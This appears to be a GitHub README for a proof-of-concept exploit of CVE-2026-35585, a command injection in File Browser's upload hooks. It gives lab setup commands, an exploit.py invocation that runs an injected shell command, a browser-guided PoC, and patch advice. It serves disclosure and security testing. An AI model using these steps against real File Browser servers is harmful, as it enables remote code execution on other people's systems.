saku0512/cve-2026-35585-pocProof-of-concept exploit for CVE-2026-35585, an OS command injection vulnerability in File Browser (versions 2.0.0 to 2.33.1). Includes Python and browser-based PoC scripts for remote code execution via malicious file uploads.
This repository contains a Proof of Concept (PoC) for CVE-2026-35585, a critical OS Command Injection vulnerability discovered in File Browser (versions 2.0.0 through 2.33.1).
The vulnerability exists in the "Custom Command Hooks" feature. Due to insufficient sanitization of environment variables (such as $FILE or $USERNAME) during shell execution, an authenticated user with file upload privileges can execute arbitrary commands on the host system by crafting a malicious filename.
Discovered by: saku0512 (https://github.com/Saku0512)
This project is for educational and ethical security testing purposes only.
The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. By using this software, you agree to use it only in environments where you have explicit permission to conduct security testing.
File Browser allows administrators to set up hooks (e.g., "After Upload"). When these hooks are triggered, the application executes a shell command and replaces variables like $FILE with the actual filename. If a filename contains shell metacharacters (e.g., ;, &, |), they are executed by the system shell without proper escaping.
This section describes how to reproduce the Remote Code Execution (RCE) using the provided environment and exploit script.
Deploy the vulnerable environment (File Browser v2.33.1) using Docker Compose. On the first run, data/filebrowser.db does not exist yet, so initialize the File Browser database before configuring the hook:
# Ensure the data directory has the correct permissions
mkdir -p data && sudo chown -R 1000:1000 data
# Initialize the database
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# Add the admin / admin user
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# Set shell to "sh -c"
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# Add an After Upload command
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# Start the container
docker compose up -d
If data/filebrowser.db already exists, skip config init. If the admin user already exists, reset its password instead of running users add:
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
If you change hook settings after the container is already running, stop it with docker compose stop first to avoid SQLite locking, then run the configuration commands and finish with docker compose start.
Run the exploit.py script to automate the login and malicious file upload. The following command attempts to create a file named pwned_rce_test in the /tmp directory of the container.
# Install dependencies
pip install requests
# Run the exploit
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Verify that the command was executed successfully by checking for the existence of the file inside the container:
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
If the file exists, the RCE is confirmed.
The existing exploit.py flow is kept intact. If you want a more hands-on browser workflow, use the included browser-guided PoC navigator.
Run the "1. Environment Setup and Initial Configuration" step above so File Browser is reachable at http://localhost:8080.
python3 browser_poc.py
Open the navigator in your browser:
http://127.0.0.1:8090/
http://localhost:8080 is reachable.admin / admin and obtain a File Browser API token.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt through the File Browser API and confirm the result in the page.Because /srv is mounted to this repository by docker-compose.yml, a successful run also creates pwned_browser_rce.txt on the host.
Update File Browser to version 2.33.8 or later. In the patched version, the hook functionality is disabled by default, and variable expansion is handled more securely.